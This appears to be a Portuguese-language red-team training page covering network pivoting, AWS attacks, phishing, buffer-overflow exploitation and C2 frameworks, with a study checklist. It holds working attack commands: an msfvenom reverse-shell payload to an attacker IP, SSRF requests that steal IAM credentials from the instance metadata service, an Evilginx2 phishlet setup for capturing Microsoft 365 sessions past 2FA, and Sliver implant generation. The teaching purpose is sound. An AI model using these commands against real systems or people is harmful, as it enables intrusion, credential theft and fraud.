Esta fase separa pentesters de Red Teamers. Aqui você aprende a operar em redes segmentadas via pivoting, atacar infraestrutura cloud, conduzir campanhas de engenharia social, e começar a entender desenvolvimento de exploits customizados.
Em ambientes reais, redes internas são segmentadas — você não acessa diretamente o servidor de banco de dados a partir da internet. Pivoting é usar um host comprometido como ponto de salto para alcançar redes que você não pode acessar diretamente.
O problema que pivoting resolve
Você comprometeu um servidor web em 10.10.10.5. Atrás dele existe a rede interna 192.168.1.0/24, inacessível de fora. Com pivoting, você roteia seu tráfego através do host comprometido para alcançar os alvos internos — como se estivesse dentro da rede.
Ferramentas de Pivoting
Ferramenta
ligolo-ng — O padrão moderno
Cria um túnel TLS entre o agente (no host comprometido) e o proxy (na sua máquina). Adiciona a rede interna como interface de rede real na sua máquina — sem necessidade de proxychains. Mais estável e rápido que Chisel para a maioria dos casos.
# Na sua máquina (proxy)./proxy -selfcert# No host comprometido (agente)./agent -connect 10.0.0.1:11601 -ignore-cert# No proxy: selecionar sessão e iniciar túnelsession# escolher o agente conectadostart# iniciar o túnel# Adicionar rota para a rede internasudo ip route add 192.168.1.0/24 dev ligolo# Agora você pode fazer scan diretonmap -sV 192.168.1.0/24
Ferramenta
Chisel — Tunnel via HTTP
Cria túnel TCP/UDP encapsulado em HTTP/WebSocket. Útil quando apenas HTTP está permitido nos firewalls. Funciona em modo reverse (cliente no alvo, servidor na sua máquina) para contornar firewalls que bloqueiam conexões de entrada.
Se você tem acesso SSH ao host comprometido, cria um proxy SOCKS local com um único comando. Sem necessidade de transferir ferramentas adicionais para o alvo.
# SOCKS proxy via SSH (-D = dynamic)ssh -D 1080 -N usuario@10.10.10.5# Local port forward (-L = local)# Acessa 192.168.1.10:3306 via localhost:3307ssh -L 3307:192.168.1.10:3306 usuario@10.10.10.5# Remote port forward (-R = remote)# Expõe seu listener para o alvossh -R 4444:127.0.0.1:4444 usuario@10.10.10.5
Metasploit
Pivoting via Meterpreter
Sessão Meterpreter tem pivoting integrado. Adiciona rotas automaticamente para redes acessíveis pelo host comprometido, roteando o tráfego do Metasploit através da sessão.
# Adicionar rota para rede interna via sessão 1route add 192.168.1.0/24 1# SOCKS proxy via Metasploituse auxiliary/server/socks_proxyset SRVPORT 1080set VERSION 5run
02
AWS, Azure, GCP
Cloud Pentesting
A maioria das empresas modernas tem infraestrutura na nuvem — e a maioria tem configurações incorretas. Cloud pentesting requer entender os modelos de identidade e permissão específicos de cada provedor. AWS é o mais comum em engajamentos reais.
AWS — Os ataques mais comuns
AWS
S3 Buckets mal-configurados
Buckets S3 com ACL pública expõem arquivos a qualquer pessoa na internet. Frequentemente contêm backups, arquivos de configuração com credenciais, dumps de banco de dados, e código-fonte.
# Verificar se bucket é públicoaws s3 ls s3://nome-do-bucket --no-sign-request# Baixar conteúdo do bucket públicoaws s3 sync s3://nome-do-bucket . --no-sign-request# Buscar buckets via OSINT# Google dork: site:s3.amazonaws.com "empresa"# Ferramentas: S3Scanner, bucket_finder
Nomes de bucket são globalmente únicos. Tente variações: empresa-backup, empresa-dev, empresa-prod, empresa-files.
AWS
SSRF → Instance Metadata Service (IMDS)
Se você encontra SSRF em uma aplicação rodando na AWS, o endpoint de metadata (169.254.169.254) expõe credenciais temporárias da IAM role anexada à instância. Essas credenciais dão acesso à AWS API.
# Via SSRF: forçar o servidor a acessar IMDSurl=http://169.254.169.254/latest/meta-data/url=http://169.254.169.254/latest/meta-data/iam/security-credentials/# Retorna o nome da IAM role, depois as credenciais:url=http://169.254.169.254/latest/meta-data/iam/security-credentials/NomeDaRole{"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"..."}# Usar as credenciais exfiltradasexport AWS_ACCESS_KEY_ID=ASIA...export AWS_SECRET_ACCESS_KEY=...export AWS_SESSION_TOKEN=...aws sts get-caller-identity
AWS
IAM Privilege Escalation
Com credenciais AWS de baixo privilégio, verifique quais permissões você tem e procure caminhos para elevar para AdministratorAccess. Pacu automatiza a enumeração e exploração de escalada IAM.
# Enumerar permissões atuaisaws iam get-useraws iam list-attached-user-policies --user-name usuarioaws iam list-user-policies --user-name usuario# Pacu — framework de exploração AWSpacurun iam__enum_permissionsrun iam__privesc_scan
PassRole + criação de instância EC2 com role admin = escalada para administrador da conta AWS completa.
AWS
Credenciais em Código
Chaves de acesso AWS hardcoded em código-fonte, variáveis de ambiente expostas, arquivos .env no repositório. Combinado com recon de GitHub (Fase 1), frequentemente o vetor mais fácil de entrada em infraestrutura cloud.
# Buscar chaves AWS no GitHubAKIA# prefixo de access key permanenteASIA# prefixo de credencial temporária# Validar se a chave ainda é ativaaws sts get-caller-identity --profile credencial-encontrada
03
O vetor humano
Social Engineering
O ser humano é o elo mais fraco em qualquer sistema de segurança. Engenharia social explora psicologia — urgência, autoridade, medo, curiosidade — para obter credenciais, acesso ou informações sem explorar vulnerabilidades técnicas. Em Red Team real, frequentemente é o vetor inicial.
Ética e legalidade
Campanhas de engenharia social contra pessoas reais exigem escopo explícito no contrato de pentest. Sempre defina limites claros: quais funcionários podem ser alvos, quais ações são permitidas (só coleta de credenciais? instalação de simulador de malware?), e como tratar dados coletados.
Phishing Campaigns
Ferramenta
GoPhish — Plataforma de phishing
Framework open-source para campanhas de phishing. Gerencia landing pages clonadas, templates de email, grupos de destinatários e rastreia quem abriu o email, quem clicou e quem submeteu credenciais. Interface web intuitiva.
Clone a página de login real do cliente. Credenciais submetidas são capturadas e a vítima é redirecionada para o site legítimo — sem perceber que foi phished.
Ferramenta
Evilginx2 — Bypass de 2FA
Proxy de phishing que intercepta sessões em tempo real, capturando tanto a senha quanto o cookie de sessão — mesmo com 2FA habilitado. Age como man-in-the-middle entre a vítima e o site legítimo.
# Configurar phishlet para Microsoft 365phishlets hostname o365 login.empresa-phish.comphishlets enable o365lures create o365lures get-url 0# Compartilhe a URL com a vítima# Captura: usuário + senha + cookie de sessão autenticado
Técnica
Spear Phishing com OSINT
Phishing genérico tem taxas de clique baixas. Spear phishing usa informações coletadas no OSINT (LinkedIn, projetos recentes, ferramentas usadas) para criar emails altamente convincentes e personalizados para alvos específicos.
Email eficaz usa: nome real do destinatário, cargo correto, referência a projeto ou ferramenta que a pessoa usa, domínio spoofado convincente, urgência plausível.
Técnica
Pretexting e Vishing
Pretexting é criar um cenário fictício convincente para manipular a vítima. Vishing é o mesmo por telefone. Exemplos: fingir ser suporte de TI solicitando redefinição de senha, fingir ser banco pedindo confirmação de dados, fingir ser colega novo pedindo acesso a sistema.
04
Nível expert
Custom Exploit Development
Desenvolvimento de exploits customizados é o nível mais avançado do Red Team. O foco inicial é entender Buffer Overflow stack-based em x86 — a base de muitos exploits clássicos e o tópico coberto no OSCP.
Stack-Based Buffer Overflow — Conceito
O que é e por que importa
Quando um programa copia dados para um buffer sem verificar o tamanho, dados em excesso sobrescrevem a memória adjacente na stack — incluindo o endereço de retorno da função (EIP). Controlando o EIP, você controla para onde o programa "pula" após a função retornar. Aponte para seu shellcode = execução de código arbitrário.
Metodologia BOF
1. Fuzzing — Encontrar o crash
Envie entradas progressivamente maiores até o programa travar. O tamanho que causou o crash é o ponto de partida para calcular o offset até o EIP.
# Script de fuzzing simples em Pythonimport socket, time
buffer = "A" * 100while True:
s = socket.socket()
s.connect(("alvo", 9999))
s.send(buffer.encode())
s.close()
buffer += "A" * 100
time.sleep(1)
Metodologia BOF
2. Offset — Controlar o EIP
Após descobrir o tamanho do crash, gere um padrão cíclico único com msf-pattern_create. Envie o padrão, observe o valor no EIP quando travar, e calcule o offset exato com msf-pattern_offset.
# Gerar padrão único de 2000 bytesmsf-pattern_create -l 2000# Após crash, valor no EIP: ex. 0x39694438msf-pattern_offset -l 2000 -q 39694438Exact match at offset 1978
Metodologia BOF
3. Bad Chars — Caracteres proibidos
Alguns caracteres são tratados como terminadores ou modificados pelo programa (null byte \x00, newline \x0a, carriage return \x0d). Descubra quais são proibidos antes de gerar o shellcode.
# Enviar todos os bytes de 0x01 a 0xFF# Analisar no debugger quais foram truncados ou alterados# Remover os bad chars do shellcode final# Gerar shellcode excluindo bad charsmsfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -b "\x00\x0a\x0d" -f python
Metodologia BOF
4. JMP ESP — Executar shellcode
Com o offset e o shellcode prontos, você precisa de um endereço de um módulo sem ASLR que contém a instrução JMP ESP. Colocar esse endereço no EIP fará o programa pular para a stack onde seu shellcode está.
# No Immunity Debugger + mona.py!mona modules# encontrar módulo sem proteções!mona find -s "\xff\xe4" -m modulo.dll# JMP ESP = \xff\xe4# Estrutura final do payload:# [PADDING] + [EIP = addr JMP ESP] + [NOP sled] + [SHELLCODE]
Praticar BOF no TryHackMe (Buffer Overflow Prep) e no OSCP PWK antes de tentar exploits reais.
05
Infraestrutura ofensiva
Command & Control (C2)
Em operações Red Team reais, você gerencia múltiplos agentes em múltiplos hosts através de um servidor C2 centralizado. O C2 permite controle persistente, pivoting, e evasão de detecção de forma organizada.
Frameworks C2
Open Source
Sliver — C2 moderno open-source
Alternativa gratuita ao Cobalt Strike. Desenvolvido pela BishopFox. Suporta implants em Go (multiplataforma), múltiplos protocolos C2 (HTTP/S, DNS, mTLS), pivoting integrado, e geração de payloads ofuscados. Ideal para praticar conceitos de C2 sem custo.
# Iniciar servidor Sliversliver-server# Gerar implant HTTPSgenerate --http 10.0.0.1 --os windows --arch amd64 --save /tmp/implant.exe# Iniciar listenerhttps# Após implant executar no alvo, interagirsessionsuse [ID]whoami
Comercial
Cobalt Strike — Conceitos
Framework C2 comercial mais usado em Red Teams profissionais (e por APTs). Beacon é o implant — comunica via HTTP/HTTPS/DNS com perfis de tráfego customizáveis (Malleable C2 profiles) para parecer tráfego legítimo. Aggressor Scripts automatizam workflows.
Para o OSCP/PNPT, entender os conceitos de C2 é suficiente. Sliver cobre a prática. Cobalt Strike é para ambientes profissionais com licença.
Conceito
Infraestrutura Red Team
Operações Red Team profissionais usam infraestrutura separada por função: redirectors na frente do C2 (mascaram o IP real), categorized domains (domínios com boa reputação para bypass de proxies corporativos), e staging servers para entrega de payloads.
Nunca aponte implants diretamente para sua máquina. Use redirectors (Nginx, socat, Cloud Functions) entre o alvo e seu C2.
Próximos passos após a Fase 6
🎯 OSCP
Com as 7 fases concluídas você está pronto para o OSCP (Offensive Security Certified Professional). 24 horas de exam, relatório obrigatório. Certificação mais respeitada no mercado. Curso PWK cobre tudo que as fases 0-4 ensinam.
📈 Especializações
Após OSCP: OSWE (web avançado), OSED (exploit dev), OSEP (evasão e AD avançado), CRTO (Red Team Operations com Cobalt Strike), CRTE (Red Team Expert — AD aprofundado).
🐛 Bug Bounty
Paralelamente às certs, bug bounty em HackerOne e Bugcrowd aplica as habilidades em alvos reais com escopo público e recompensa financeira. Excelente para construir portfólio com findings documentados.
✓
Acompanhamento
Checklist de Estudo
Marque conforme for avançando. O progresso fica salvo no navegador.
Pivoting
Configurei ligolo-ng e acessei uma rede interna em laboratórioAdicionei rota e fiz scan da rede interna diretamente
Fiz SSH dynamic port forwarding e usei proxychainsNaveguei em serviço interno via SOCKS proxy
Completei um lab de pivoting no TryHackMe ou HackTheBoxEncadeei ao menos dois saltos de rede
Cloud
Encontrei e listei um S3 bucket público com aws cli
Explorei SSRF para acessar IMDS e extrai credenciais temporárias AWSEm laboratório: TryHackMe Cloud ou flaws.cloud
Completei ao menos um nível do flaws.cloud ou flaws2.cloudOs melhores labs gratuitos de AWS security
Social Engineering & Exploit Dev
Configurei e rodei uma campanha GoPhish em ambiente de testeCriei landing page clonada e template de email
Completei o Buffer Overflow Prep no TryHackMeTodos os 10 alvos OSCP-like com metodologia completa
Instalei e explorei Sliver C2 em laboratório localGerei implant, ativei listener, interagi com sessão
Obtive a certificação OSCPMeta final do roadmap completo
GoPhish — Plataforma de phishing
Framework open-source para campanhas de phishing. Gerencia landing pages clonadas, templates de email, grupos de destinatários e rastreia quem abriu o email, quem clicou e quem submeteu credenciais. Interface web intuitiva.
Evilginx2 — Bypass de 2FA
Proxy de phishing que intercepta sessões em tempo real, capturando tanto a senha quanto o cookie de sessão — mesmo com 2FA habilitado. Age como man-in-the-middle entre a vítima e o site legítimo.
Spear Phishing com OSINT
Phishing genérico tem taxas de clique baixas. Spear phishing usa informações coletadas no OSINT (LinkedIn, projetos recentes, ferramentas usadas) para criar emails altamente convincentes e personalizados para alvos específicos.
Pretexting e Vishing
Pretexting é criar um cenário fictício convincente para manipular a vítima. Vishing é o mesmo por telefone. Exemplos: fingir ser suporte de TI solicitando redefinição de senha, fingir ser banco pedindo confirmação de dados, fingir ser colega novo pedindo acesso a sistema.